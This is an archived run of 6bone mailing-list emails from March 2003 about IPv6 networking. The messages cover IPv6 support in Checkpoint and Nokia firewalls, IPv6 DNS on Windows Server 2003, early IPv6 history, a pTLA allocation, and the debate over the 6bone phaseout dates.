>>>      
>>>
>>>from strangers.  All through NAT.
>>    
>>
>>>Is NAT a firewall?  Only for the naive.
>>>      
>>>
>>Checkpoint will soon be releasing their "Calgary" release (FP4) - Early 
>>Availability 2 should be ready next week.
>>
>>From their beta documentation of FP4:
>>
>>IPv6
>>22)In Calgary,FireWall-1 supports IPv6 out of the box.
>>Supported platforms
>>•Solaris 8/9
>>•Nokia IPSO 3.7
>>Supported features
>>•Dual stack –both IPv6 and IPv4 on the same interface.
>>•IPv6 access control with accept/drop/reject/log actions.
>>•Simple TCP and UDP services,and ICMPv6.
>>•IPv6 FTP service (active and passive).
>>•IPv6 Host and Network objects.
>>•Using IPv6 &IPv4 objects in the same rule base.
>>•IPv6 logging and IPv6 filters.
>>•Implied rules for enabling traffic needed for IPv6 discovery IPv6 
>>fragments.
>>•Using IPv6 requires a special license which is not included in the trial 
>>period and EVAL licenses.
>>
>>-Hank
>>
>>_______________________________________________
>>6bone mailing list
>>6bone@mailman.isi.edu
>>http://mailman.isi.edu/mailman/listinfo/6bone
>>    
>>
>_______________________________________________
>6bone mailing list
>6bone@mailman.isi.edu
>http://mailman.isi.edu/mailman/listinfo/6bone
>  
>




From dy@davidyip.com Thu Mar 13 07:48:37 2003
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To: Abdul Basit <basit@basit.cc>
CC: Pim van Pelt <pim@ipng.nl>, 6bone@mailman.isi.edu
Subject: Re: [6bone] Careers in IPv6.
References: <Pine.BSF.4.53.0303120934040.58619@wireless.cs.twsu.edu> <20030312143008.GA9450@bfib.colo.bit.nl> <Pine.BSF.4.53.0303131410590.60635@wireless.cs.twsu.edu>
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IPv6 should be coming real fast wit the help of Microsoft! Take a look 
at MS new IPv6 only application, www.threedegrees.com. It runs on IPv6!!!

Abdul Basit wrote:
>>I think the IPv6 'jobs' are non-existant. There will be a
>>demand for engineers which can deploy this protocol, just
>>as any other (ATM, MPLS, IPv4, PPPoX).
> 
> 
> that's what i see it as also, but the point was there
> are not any demand for such an engineers currently
> as IPv6 is not widely deployed.
> 
> 
>>In my job, I am confronted with IPv6 on a regular (allmost daily) base,
>>because the ISP I work for offers this type of connectivityto our
>>customers.
> 
> 
> You'r lucky  ! :-)
> 
> 
>>groet,
>>Pim
>>
>>--
>>---------- - -    - - -+- - -    - - ----------
>>Pim van Pelt                 Email: pim@ipng.nl
>>http://www.ipng.nl/             IPv6 Deployment
>>-----------------------------------------------
>>
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone



From jeroen@unfix.org Thu Mar 13 11:11:39 2003
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To: "'Brian Chase'" <vaxzilla@jarai.org>
Cc: <6bone@ISI.EDU>
Subject: RE: [6bone] How to specify an IPv6 DNS server on the IPv6-only host
Date: Thu, 13 Mar 2003 20:12:09 +0100
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Brian Chase wrote:

> On Wed, 12 Mar 2003, Stewart Tansley wrote:
> > On Thu, 13 Mar 2003, SHIRASAKI Yasuhiro wrote:
> 
> > > Neither solaris8 nor windows supports an IPv6 transport DNS query.
> >
> > Not true, the forthcoming Windows Server 2003's DNS client 
> and server
> > supports it -- so, to enable DNS transport over IPv6:
> 
> Actually, since Shirasaki correctly used the present tense form
> of the verb "support", his statement is true.  Your use of the
> modifier "forthcoming" indicates that this support is something
> that'll be happening in the future.  It would've been more correct
> to write: "...the forthcoming Windows Server 2003's DNS client
> and server /will support/ it..."

<flame>taalnazi</flame> (if you want to know what it means
look it up in a dutch dict ;)

At least MS is going to support it in their upcoming product.
Isn't that a good thing or is all one can do is flame MS?
Or should they be supplying an 'upgrade' for every new version?
I wonder how people got up to Red Hat 8 and Solaris 9... if you get my
drift.
Instead of flaming MS, like every slashdot kiddie like to do
contribute positive things to the IPv6 world. And that world
compromises of any OS supporting IPv6 and all the OS's go hand in hand.

Greets,
 Jeroen


From david@iprg.nokia.com Thu Mar 13 12:12:26 2003
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From: David Kessens <david@IPRG.nokia.com>
To: Tim Chown <tjc@ecs.soton.ac.uk>
Cc: Hank Nussbacher <hank@att.net.il>, Chuck Yerkes <chuck+6bone@snew.com>,
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Tim,

On Thu, Mar 13, 2003 at 02:10:30PM +0000, Tim Chown wrote:
>
> Does anyone know if the Nokia firewalls will also be on the same path soon?

Yes - I already have a beta version of the IPv6 Checkpoint/IPSO Nokia
firewall in my network.

David K.
---

From tjc@ecs.soton.ac.uk Thu Mar 13 16:38:25 2003
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Date: Fri, 14 Mar 2003 00:38:03 +0000
From: Tim Chown <tjc@ecs.soton.ac.uk>
To: David Kessens <david@IPRG.nokia.com>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] Security over IPv6 networks
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When will it be available of the shelf, and where's the spec of the
functionality?  (Very keen as a potential buyer with money in the bank :)

Tim

On Thu, Mar 13, 2003 at 12:15:02PM -0800, David Kessens wrote:
> 
> Tim,
> 
> On Thu, Mar 13, 2003 at 02:10:30PM +0000, Tim Chown wrote:
> >
> > Does anyone know if the Nokia firewalls will also be on the same path soon?
> 
> Yes - I already have a beta version of the IPv6 Checkpoint/IPSO Nokia
> firewall in my network.
> 
> David K.
> ---
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

From hank@att.net.il Thu Mar 13 22:13:22 2003
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From: Hank Nussbacher <hank@att.net.il>
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At 12:38 AM 14-03-03 +0000, Tim Chown wrote:

Since it is based on Checkpoint's FP4 it will probably have these IPv6 
features:

- Dual stack IPv4 and IPv6 firewall running on either Solaris 8/9 or Nokia
IPSO 3.7
- IPv6 access control with accept/drop/reject/log actions.
- Simple TCP and UDP IPv6 services - http, telnet, ICMPv6, etc.
- IPv6 FTP service (active and passive)
- IPv6 Host and Network objects
- IPv6 & IPv4 objects in rulebase. Mixing of IPv6 and IPv4 objects is
allowed in the rulebase.
- IPv6 logging and IPv6 filters
- Implied rules for enabling traffic needed for IPv6 discovery
- IPv6 fragments

It will not have yet these features:
- Anti spoofing
- Boot policy
- NAT
- VPN
- IPv6 rules with resources (Security Servers)
- IPv6 addresses resolving in SmartView tracker
- IPv6 option headers other than fragmentation

-Hank

>When will it be available of the shelf, and where's the spec of the
>functionality?  (Very keen as a potential buyer with money in the bank :)
>
>Tim
>
>On Thu, Mar 13, 2003 at 12:15:02PM -0800, David Kessens wrote:
> >
> > Tim,
> >
> > On Thu, Mar 13, 2003 at 02:10:30PM +0000, Tim Chown wrote:
> > >
> > > Does anyone know if the Nokia firewalls will also be on the same path 
> soon?
> >
> > Yes - I already have a beta version of the IPv6 Checkpoint/IPSO Nokia
> > firewall in my network.
> >
> > David K.
> > ---
> > _______________________________________________
> > 6bone mailing list
> > 6bone@mailman.isi.edu
> > http://mailman.isi.edu/mailman/listinfo/6bone
>_______________________________________________
>6bone mailing list
>6bone@mailman.isi.edu
>http://mailman.isi.edu/mailman/listinfo/6bone


From paitken@cisco.com Fri Mar 14 07:45:36 2003
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Subject: Re: [6bone] came across this article any opinions??
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Chuck,

 > Wow!  My opinion is that in 2000 (03/13/00), that this was
 > a reasonable view.  IPv6 and indeed the 6bone wasn't "there."
 >
 > I had early IPv6 support in BSD, none in vendor supplied Unix.
 > Cisco was barely talking about it.

FWIW, Kirk Lougheed tells me that IPv6 work started in the first week of 
May 1996 with the first EFT in December '96.

Cheers.
-- 
Paul Aitken
Cisco Systems Ltd, Edinburgh, Scotland.


From dlc@chiba.halibut.com Fri Mar 14 12:30:18 2003
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Do you know if/think it will have the ability to be a tunnel endpoint?



On Fri, Mar 14, 2003 at 08:12:06AM +0200, Hank Nussbacher wrote:
> At 12:38 AM 14-03-03 +0000, Tim Chown wrote:
> 
> Since it is based on Checkpoint's FP4 it will probably have these IPv6 
> features:
> 
> - Dual stack IPv4 and IPv6 firewall running on either Solaris 8/9 or Nokia
> IPSO 3.7
> - IPv6 access control with accept/drop/reject/log actions.
> - Simple TCP and UDP IPv6 services - http, telnet, ICMPv6, etc.
> - IPv6 FTP service (active and passive)
> - IPv6 Host and Network objects
> - IPv6 & IPv4 objects in rulebase. Mixing of IPv6 and IPv4 objects is
> allowed in the rulebase.
> - IPv6 logging and IPv6 filters
> - Implied rules for enabling traffic needed for IPv6 discovery
> - IPv6 fragments
> 
> It will not have yet these features:
> - Anti spoofing
> - Boot policy
> - NAT
> - VPN
> - IPv6 rules with resources (Security Servers)
> - IPv6 addresses resolving in SmartView tracker
> - IPv6 option headers other than fragmentation
> 
> -Hank
> 
> >When will it be available of the shelf, and where's the spec of the
> >functionality?  (Very keen as a potential buyer with money in the bank :)
> >
> >Tim
> >
> >On Thu, Mar 13, 2003 at 12:15:02PM -0800, David Kessens wrote:
> > >
> > > Tim,
> > >
> > > On Thu, Mar 13, 2003 at 02:10:30PM +0000, Tim Chown wrote:
> > > >
> > > > Does anyone know if the Nokia firewalls will also be on the same path 
> > soon?
> > >
> > > Yes - I already have a beta version of the IPv6 Checkpoint/IPSO Nokia
> > > firewall in my network.
> > >
> > > David K.
> > > ---
> > > _______________________________________________
> > > 6bone mailing list
> > > 6bone@mailman.isi.edu
> > > http://mailman.isi.edu/mailman/listinfo/6bone
> >_______________________________________________
> >6bone mailing list
> >6bone@mailman.isi.edu
> >http://mailman.isi.edu/mailman/listinfo/6bone
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

From david@iprg.nokia.com Fri Mar 14 13:47:18 2003
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From: David Kessens <david@IPRG.nokia.com>
To: Tim Chown <tjc@ecs.soton.ac.uk>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] Security over IPv6 networks
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Tim,

On Fri, Mar 14, 2003 at 12:38:03AM +0000, Tim Chown wrote:
>
> When will it be available of the shelf, and where's the spec of the
> functionality?  (Very keen as a potential buyer with money in the bank :)

I checked with a few people and this is what they answered me:

---
I would expect to see released code in May.

As for specifications of the functionality, what is available can be
obtained by registering for the beta program on CP's web site. Release
Notes, What's new and preliminary users guide should be there.
---

I hope this helps. Please follow up privately with me if you have more
questions,

David K.
---

From tjc@ecs.soton.ac.uk Fri Mar 14 16:35:02 2003
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From: Tim Chown <tjc@ecs.soton.ac.uk>
To: Paul Aitken <paitken@cisco.com>
Cc: "'6bone@mailman.isi.edu'" <6bone@mailman.isi.edu>, chuck+6bone@snew.com
Subject: Re: [6bone] came across this article any opinions??
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On Fri, Mar 14, 2003 at 03:45:07PM +0000, Paul Aitken wrote:
> Chuck,
> 
> > Wow!  My opinion is that in 2000 (03/13/00), that this was
> > a reasonable view.  IPv6 and indeed the 6bone wasn't "there."
> >
> > I had early IPv6 support in BSD, none in vendor supplied Unix.
> > Cisco was barely talking about it.
> 
> FWIW, Kirk Lougheed tells me that IPv6 work started in the first week of 
> May 1996 with the first EFT in December '96.

Yeah, sounds about right.  We had one of the first native v6 WAN links
in the UK (the first?) in early 1997 from Southampton to UUNet London
using a 2500 at each end.   In that early phase we also had IPv6 router 
products from Ericsson Telebit, 3Com and DEC.

Tim

From chuck@degler.net Fri Mar 14 17:52:34 2003
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Date: Fri, 14 Mar 2003 20:52:33 -0500
From: Chuck Yerkes <chuck+6bone@snew.com>
To: 6bone@mailman.isi.edu
Subject: Re: [6bone] came across this article any opinions??
Message-ID: <20030315015233.GB28404@snew.com>
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Quoting Paul Aitken (paitken@cisco.com):
> Chuck,
> > Wow!  My opinion is that in 2000 (03/13/00), that this was
> > a reasonable view.  IPv6 and indeed the 6bone wasn't "there."
> >
> > I had early IPv6 support in BSD, none in vendor supplied Unix.
> > Cisco was barely talking about it.
> 
> FWIW, Kirk Lougheed tells me that IPv6 work started in the first week of 
> May 1996 with the first EFT in December '96.

In the context of the article, I'd count "there" not
as "I can get a packet from here to somewhere else"
but rather as "I can actually use this for something more
useful that seeing that it works."

Bell calling Watson didn't count as a phone network.
Phones were only useful when many people had them.

In 2000, I could run IPv6 on a couple OSs, not many.
Patches from playground.sun.com let me get Solaris working,
kind of.  Sendmail, AFAIK, spoke v6 early on (and I pushed
hard to get IPv6 support into the commercial version).

But getting Cisco IOS' that supported it (esp on production
machines) or anything useful out of IPv6 was mostly unlikely
in 3/2000.  Most of us were distracted by the sound of the
big drain starting to suck the economy down anyhow.

Does anyone have a count of 6bone tunnel end points (at the
least) over time?  Any way to track the growth and use of
IPv6 on backbones or particular NAPs and joining points?

From stansley@microsoft.com Fri Mar 14 18:11:00 2003
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Subject: RE: [6bone] came across this article any opinions??
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> Bell calling Watson didn't count as a phone network.
> Phones were only useful when many people had them.

Metcalfe's Law.

Stewart Tansley
http://www.microsoft.com/embedded
http://www.microsoft.com/ipv6

From bmanning@ISI.EDU Fri Mar 14 18:56:28 2003
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Subject: Re: [6bone] came across this article any opinions??
In-Reply-To: <20030315015233.GB28404@snew.com> from Chuck Yerkes at "Mar 14, 3 08:52:33 pm"
To: chuck+6bone@snew.com (Chuck Yerkes)
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% > FWIW, Kirk Lougheed tells me that IPv6 work started in the first week of 
% > May 1996 with the first EFT in December '96.

	Thats the earliest EFT image I have. :)

% Does anyone have a count of 6bone tunnel end points (at the
% least) over time?  Any way to track the growth and use of
% IPv6 on backbones or particular NAPs and joining points?

	All of my tunnels have init-dates.
	It may be worthwhile noting that most US exchanges
	(well all exchanges with address space managed by
	ep.net that have current paperwork filed)  have
	active IPv6 delegations available - many are using
	those delegations for their clients.


% _______________________________________________
% 6bone mailing list
% 6bone@mailman.isi.edu
% http://mailman.isi.edu/mailman/listinfo/6bone
% 


-- 
--bill

Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).


From hank@att.net.il Sun Mar 16 23:22:28 2003
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Subject: Re: [6bone] Security over IPv6 networks
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At 12:30 PM 14-03-03 -0800, David Carmean wrote:

The response I got back from Checkpoint IPv6 development was "Yes. We have 
that ability, but we don't do this by ourselves - we rely on the OS to do 
the tunneling. If the machine is the endpoint of IPv6 traffic encapsulated 
in IPv6 tunnel (IPv4 protocol number 41), we are able to inspect both IPv6 
and IPv4 packets."

Hope that helps,
-Hank



>Do you know if/think it will have the ability to be a tunnel endpoint?
>
>
>
>On Fri, Mar 14, 2003 at 08:12:06AM +0200, Hank Nussbacher wrote:
> > At 12:38 AM 14-03-03 +0000, Tim Chown wrote:
> >
> > Since it is based on Checkpoint's FP4 it will probably have these IPv6
> > features:
> >
> > - Dual stack IPv4 and IPv6 firewall running on either Solaris 8/9 or Nokia
> > IPSO 3.7
> > - IPv6 access control with accept/drop/reject/log actions.
> > - Simple TCP and UDP IPv6 services - http, telnet, ICMPv6, etc.
> > - IPv6 FTP service (active and passive)
> > - IPv6 Host and Network objects
> > - IPv6 & IPv4 objects in rulebase. Mixing of IPv6 and IPv4 objects is
> > allowed in the rulebase.
> > - IPv6 logging and IPv6 filters
> > - Implied rules for enabling traffic needed for IPv6 discovery
> > - IPv6 fragments
> >
> > It will not have yet these features:
> > - Anti spoofing
> > - Boot policy
> > - NAT
> > - VPN
> > - IPv6 rules with resources (Security Servers)
> > - IPv6 addresses resolving in SmartView tracker
> > - IPv6 option headers other than fragmentation
> >
> > -Hank
> >
> > >When will it be available of the shelf, and where's the spec of the
> > >functionality?  (Very keen as a potential buyer with money in the bank :)
> > >
> > >Tim
> > >
> > >On Thu, Mar 13, 2003 at 12:15:02PM -0800, David Kessens wrote:
> > > >
> > > > Tim,
> > > >
> > > > On Thu, Mar 13, 2003 at 02:10:30PM +0000, Tim Chown wrote:
> > > > >
> > > > > Does anyone know if the Nokia firewalls will also be on the same 
> path
> > > soon?
> > > >
> > > > Yes - I already have a beta version of the IPv6 Checkpoint/IPSO Nokia
> > > > firewall in my network.
> > > >
> > > > David K.
> > > > ---
> > > > _______________________________________________
> > > > 6bone mailing list
> > > > 6bone@mailman.isi.edu
> > > > http://mailman.isi.edu/mailman/listinfo/6bone
> > >_______________________________________________
> > >6bone mailing list
> > >6bone@mailman.isi.edu
> > >http://mailman.isi.edu/mailman/listinfo/6bone
> >
> > _______________________________________________
> > 6bone mailing list
> > 6bone@mailman.isi.edu
> > http://mailman.isi.edu/mailman/listinfo/6bone


From bob@thefinks.com Mon Mar 17 10:25:13 2003
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From: Bob Fink <bob@thefinks.com>
Cc: Laurent Mele <mele@cartel-securite.fr>,
   6bone reverse DNS registration <hostmaster@ep.net>
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CARTEL has been allocated pTLA 3FFE:4017::/32 having finished its 2-week 
review period.

   <http://whois.6bone.net/cgi-bin/whois?CARTEL>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

   <http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration in eff3.ip6.int for pTLAs, please 
send the prefix allocated above, and a list of at least two authoritative 
nameservers, to hostmaster@ep.net.]


Thanks,

Bob 


From bob@thefinks.com Wed Mar 19 10:35:15 2003
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6bone Folk,

The 6bone planning issues BOF on Tuesday (at the IETF in San Francisco) 
covered two main topics.

	the RIR 6bone registry integration proposal and
	the 6bone phaseout planning proposal

The RIR 6bone registry integration proposal, under discussion for about 12 
months, has concluded with the RIRs (and Bob) agreeing that we should not 
carry on any further with the proposal. This is in light of:
  6bone and RIR community comments,
  a concrete planning process underway to phaseout the 6bone,
  a great reduction in the pTLA allocation rate,
  an increase in the production prefix allocation rate, and
  the ability to get experimental IPv6 addresses from the RIRs.

Thus the 6bone would continue to manage its own allocation process until 
the planned phaseout dates (whatever they turn out to be in the RFC).

Also, the RIRs agreed that the 6bone should be delegated the control over 
e.f.f.3.ip6.arpa. Randy Bush wanted this to be formalized by an RFC and Bob 
Fink will pursue this immediately.

Marc Blanchet and David Kessens are working on the technical details of the 
e.f.f.3.ip6.arpa support already, with support of Bill Manning, and will 
provide a report soon to the list on how the service will be provided.


The 6bone phaseout proposal was discussed with a strong consensus reached 
on a pTLA allocation cutoff date of Jan 1, 2004 and a 6bone turn off date 
of June 6, 2006 (6/6/6).

I will circulate an updated version of the draft soon, but would like any 
comments on the dates above and anything else you might want to say about 
the current draft. I think we should close on this and try to move it to 
Informational RFC status as quickly as possible.


Thanks to Jordi Palet for chairing the BOF, and Bob Hinden for sharing the 
load of presenting.

Also, my many thanks to the RIR management folks that have worked with me 
on the proposal for the last year, and helped to forge a good relationship 
and understanding with the 6bone community.


Thanks,

Bob


From rhe@nosc.ja.net Wed Mar 19 11:58:01 2003
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Hi Bob,

> The 6bone phaseout proposal was discussed with a strong consensus reached 
> on a pTLA allocation cutoff date of Jan 1, 2004 and a 6bone turn off date 
> of June 6, 2006 (6/6/6).

Just a quick comment on something that was brought up yesterday.

The current draft recommends that IANA not reallocate 3FFE::/16 for two
years from 6/6/06.  On that date, network operators are likely to put
filters on that will block routing for the 6bone prefixes (as may be
considered operationally sound), and there is the danger we end up in
the same position as the IPv4 world is currently experiencing with
69.0.0.0/8 (see the NANOG archives if you're unfamiliar with this
problem).  A note regarding the future global routability of 3FFE::/16
might be a worthwhile addition, do others agree?

Regards,
Rob

From jguthrie@brokersys.com Wed Mar 19 12:46:00 2003
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Subject: Re: [6bone] report of 6bone planning BOF
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On Wed, Mar 19, 2003 at 10:35:08AM -0800, Bob Fink wrote:
 
> The 6bone phaseout proposal was discussed with a strong consensus reached 
> on a pTLA allocation cutoff date of Jan 1, 2004 and a 6bone turn off date 
> of June 6, 2006 (6/6/6).

I think it's insane to set a date for the end of the 6bone when there is
no replacement for it in the USA.
-- 
Jonathan Guthrie (jguthrie@brokersys.com)
Sto pro veritate

From jordi.palet@consulintel.es Wed Mar 19 13:21:39 2003
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Reply-To: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>
From: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>
To: "6BONE List" <6bone@mailman.isi.edu>
References: <5.2.0.9.0.20030318185641.01ed49e8@mail.addr.com> <20030319195751.GA23483@nosc.ja.net>
Subject: Re: [6bone] report of 6bone planning BOF
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Yes, seems to me sensible to do so.

Jordi

----- Original Message ----- 
From: "Rob Evans" <rhe@nosc.ja.net>
To: "Bob Fink" <bob@thefinks.com>
Cc: "6BONE List" <6bone@mailman.isi.edu>
Sent: Wednesday, March 19, 2003 8:57 PM
Subject: Re: [6bone] report of 6bone planning BOF


> Hi Bob,
> 
> > The 6bone phaseout proposal was discussed with a strong consensus reached 
> > on a pTLA allocation cutoff date of Jan 1, 2004 and a 6bone turn off date 
> > of June 6, 2006 (6/6/6).
> 
> Just a quick comment on something that was brought up yesterday.
> 
> The current draft recommends that IANA not reallocate 3FFE::/16 for two
> years from 6/6/06.  On that date, network operators are likely to put
> filters on that will block routing for the 6bone prefixes (as may be
> considered operationally sound), and there is the danger we end up in
> the same position as the IPv4 world is currently experiencing with
> 69.0.0.0/8 (see the NANOG archives if you're unfamiliar with this
> problem).  A note regarding the future global routability of 3FFE::/16
> might be a worthwhile addition, do others agree?
> 
> Regards,
> Rob
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 


*****************************
Madrid 2003 Global IPv6 Summit
12-14 May 2003 - Register at:
http://www.ipv6-es.com



From jordi.palet@consulintel.es Wed Mar 19 13:23:16 2003
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From: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>
To: "6BONE List" <6bone@mailman.isi.edu>
References: <5.2.0.9.0.20030318185641.01ed49e8@mail.addr.com> <20030319204548.GA16778@brokersys.com>
Subject: Re: [6bone] report of 6bone planning BOF
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You will discover soon that this will change in the next few months ...

Jordi

----- Original Message ----- 
From: "Jonathan Guthrie" <jguthrie@brokersys.com>
To: "Bob Fink" <bob@thefinks.com>
Cc: "6BONE List" <6bone@mailman.isi.edu>
Sent: Wednesday, March 19, 2003 9:45 PM
Subject: Re: [6bone] report of 6bone planning BOF


> On Wed, Mar 19, 2003 at 10:35:08AM -0800, Bob Fink wrote:
>  
> > The 6bone phaseout proposal was discussed with a strong consensus reached 
> > on a pTLA allocation cutoff date of Jan 1, 2004 and a 6bone turn off date 
> > of June 6, 2006 (6/6/6).
> 
> I think it's insane to set a date for the end of the 6bone when there is
> no replacement for it in the USA.
> -- 
> Jonathan Guthrie (jguthrie@brokersys.com)
> Sto pro veritate
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 


*****************************
Madrid 2003 Global IPv6 Summit
12-14 May 2003 - Register at:
http://www.ipv6-es.com



From jeroen@unfix.org Wed Mar 19 13:41:20 2003
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Subject: RE: [6bone] report of 6bone planning BOF
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Rob Evans wrote:

> > The 6bone phaseout proposal was discussed with a strong 
> consensus reached 
> > on a pTLA allocation cutoff date of Jan 1, 2004 and a 6bone 
> turn off date 
> > of June 6, 2006 (6/6/6).
> 
> Just a quick comment on something that was brought up yesterday.
> 
> The current draft recommends that IANA not reallocate 
> 3FFE::/16 for two
> years from 6/6/06.  On that date, network operators are likely to put
> filters on that will block routing for the 6bone prefixes (as may be
> considered operationally sound), and there is the danger we end up in
> the same position as the IPv4 world is currently experiencing with
> 69.0.0.0/8 (see the NANOG archives if you're unfamiliar with this
> problem).  A note regarding the future global routability of 3FFE::/16
> might be a worthwhile addition, do others agree?

There is nothing one can do against bad admins except hitting them
quite hard with a very big cluestick. It's the same for the fact
that you will still see Code Red and other worms flying around.
Some people just don't do their job correctly or good.

One solution to this, and some other problems could be solved
by having a seperate 'blacklist BGP' which allows to block
certain prefixes and other stuff from a central repository.
Currently most people, with clue, will also be filtering IPv6
routes. See http://www.space.net/~gert/RIPE/ipv6-filters.html
If an admin doesn't update those, then you already have that
problem. Same would go if there was a central repository but
that repository would be out of sync.

Checking my Distributed Looking Glass I notice that some ISP's
still provide transit for any prefix. And a rule like the one
proposed in http://ip6.de.easynet.net/ipv6-minimum-peering.txt
isn't being implemented by most ISP's either, except for the
ones that really do like to do a good job.

I also still see 3ffe:1f00::/24 ghosted, for almost a month now.
Saying that I expect some things, like updating filters, simply
can't be clued into some people who are simply too lazy to do it.
Some people apparently don't care for the global network.

Also note that everybody has the freedom to block/reject everything
they want. It is their network.

Greets,
 Jeroen


From jguthrie@brokersys.com Wed Mar 19 14:07:42 2003
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Subject: Re: [6bone] report of 6bone planning BOF
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On Wed, Mar 19, 2003 at 01:25:12PM +0100, JORDI PALET MARTINEZ wrote:
> > On Wed, Mar 19, 2003 at 10:35:08AM -0800, Bob Fink wrote:
  
> > > The 6bone phaseout proposal was discussed with a strong consensus reached 
> > > on a pTLA allocation cutoff date of Jan 1, 2004 and a 6bone turn off date 
> > > of June 6, 2006 (6/6/6).
 
> > I think it's insane to set a date for the end of the 6bone when there is
> > no replacement for it in the USA.

> You will discover soon that this will change in the next few months ...

I doubt it, but if so then why not wait until then to set the date?  If,
as everyone seems to think, that will happen before I finish typing this
message, then you can still schedule it to be next January and look
like geniuses.  If, as I think, that there still will be no way for my
network to get native IPv6 on January 1 2004, then I'll have to have no
IPv6 access.  The jury is still out on whether that hurts you more than
it does me.
-- 
Jonathan Guthrie (jguthrie@brokersys.com)
Sto pro veritate

From jeroen@unfix.org Wed Mar 19 14:09:50 2003
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To: "'Jonathan Guthrie'" <jguthrie@brokersys.com>
Cc: "'6BONE List'" <6bone@mailman.isi.edu>
Subject: RE: [6bone] report of 6bone planning BOF
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Jonathan Guthrie wrote:

> On Wed, Mar 19, 2003 at 10:35:08AM -0800, Bob Fink wrote:
>  
> > The 6bone phaseout proposal was discussed with a strong 
> consensus reached 
> > on a pTLA allocation cutoff date of Jan 1, 2004 and a 6bone 
> turn off date 
> > of June 6, 2006 (6/6/6).
> 
> I think it's insane to set a date for the end of the 6bone 
> when there is no replacement for it in the USA.

Remind me again about why americans are allowed to only
think of theirselves. There are many countries which
don't have IPv6 at all. But the US certainly has 

*Grab stats*

http://www.sixxs.net/tools/grh/tla/

Top 10 countries having TLA's:

 1      United States  76  
 2      Japan          64  
 3      Germany        38  
 4      Netherlands    25  
 5      United Kingdom 21  
 6      Korea          18  
 7      Italy          17  
 8      France         14  
 9      Sweden         14  
 10     Austria        11 

Now say again that there is no IPv6 in the US?
Due note, ARIN has 56 delegations, of which 42 go the US.
So half the delegations is actually 6bone, most probably
most 6bone delegations also have a ARIN delegation by now.
That half of the ARIN delegations isn't even announced, tsja...
Maybe you should start kicking around your ISP's a bit more?
There are enough ways of getting IPv6 in europe so why
should that be so different from the US?

You should also note that 2006 is in 3 years. There
will change a load of things before that date.

Greets,
 Jeroen


From jeroen@unfix.org Wed Mar 19 14:17:54 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'JORDI PALET MARTINEZ'" <jordi.palet@consulintel.es>,
   "'6BONE List'" <6bone@mailman.isi.edu>
Subject: RE: [6bone] report of 6bone planning BOF
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JORDI PALET MARTINEZ wrote:

> You will discover soon that this will change in the next few 
> months ...

And I guess you are talking about the cost waiver
that is being proposed ;) But it is still to see
if that will also make the ISP's actually use it...
Fortunatly there are a couple of very good
transition methods which can help out in the
cases where native IPv6 is still not an option.

Greets,
 Jeroen

> 
> Jordi
> 
> ----- Original Message ----- 
> From: "Jonathan Guthrie" <jguthrie@brokersys.com>
> To: "Bob Fink" <bob@thefinks.com>
> Cc: "6BONE List" <6bone@mailman.isi.edu>
> Sent: Wednesday, March 19, 2003 9:45 PM
> Subject: Re: [6bone] report of 6bone planning BOF
> 
> 
> > On Wed, Mar 19, 2003 at 10:35:08AM -0800, Bob Fink wrote:
> >  
> > > The 6bone phaseout proposal was discussed with a strong 
> consensus reached 
> > > on a pTLA allocation cutoff date of Jan 1, 2004 and a 
> 6bone turn off date 
> > > of June 6, 2006 (6/6/6).
> > 
> > I think it's insane to set a date for the end of the 6bone 
> when there is
> > no replacement for it in the USA.
> > -- 
> > Jonathan Guthrie (jguthrie@brokersys.com)
> > Sto pro veritate
> > _______________________________________________
> > 6bone mailing list
> > 6bone@mailman.isi.edu
> > http://mailman.isi.edu/mailman/listinfo/6bone
> > 
> 
> 
> *****************************
> Madrid 2003 Global IPv6 Summit
> 12-14 May 2003 - Register at:
> http://www.ipv6-es.com
> 
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 


From jordi.palet@consulintel.es Wed Mar 19 14:34:21 2003
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Subject: Re: [6bone] report of 6bone planning BOF
Date: Wed, 19 Mar 2003 14:36:17 +0100
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No, I was talking about something in the kitchen. But I don't have enough information and not sure if is public anyway. Other people
in the mailing list can comment as they are more directly involved.

Regards,
Jordi

----- Original Message -----
From: "Jeroen Massar" <jeroen@unfix.org>
To: "'JORDI PALET MARTINEZ'" <jordi.palet@consulintel.es>; "'6BONE List'" <6bone@mailman.isi.edu>
Sent: Wednesday, March 19, 2003 11:18 PM
Subject: RE: [6bone] report of 6bone planning BOF


> JORDI PALET MARTINEZ wrote:
>
> > You will discover soon that this will change in the next few
> > months ...
>
> And I guess you are talking about the cost waiver
> that is being proposed ;) But it is still to see
> if that will also make the ISP's actually use it...
> Fortunatly there are a couple of very good
> transition methods which can help out in the
> cases where native IPv6 is still not an option.
>
> Greets,
>  Jeroen
>
> >
> > Jordi
> >
> > ----- Original Message -----
> > From: "Jonathan Guthrie" <jguthrie@brokersys.com>
> > To: "Bob Fink" <bob@thefinks.com>
> > Cc: "6BONE List" <6bone@mailman.isi.edu>
> > Sent: Wednesday, March 19, 2003 9:45 PM
> > Subject: Re: [6bone] report of 6bone planning BOF
> >
> >
> > > On Wed, Mar 19, 2003 at 10:35:08AM -0800, Bob Fink wrote:
> > >
> > > > The 6bone phaseout proposal was discussed with a strong
> > consensus reached
> > > > on a pTLA allocation cutoff date of Jan 1, 2004 and a
> > 6bone turn off date
> > > > of June 6, 2006 (6/6/6).
> > >
> > > I think it's insane to set a date for the end of the 6bone
> > when there is
> > > no replacement for it in the USA.
> > > --
> > > Jonathan Guthrie (jguthrie@brokersys.com)
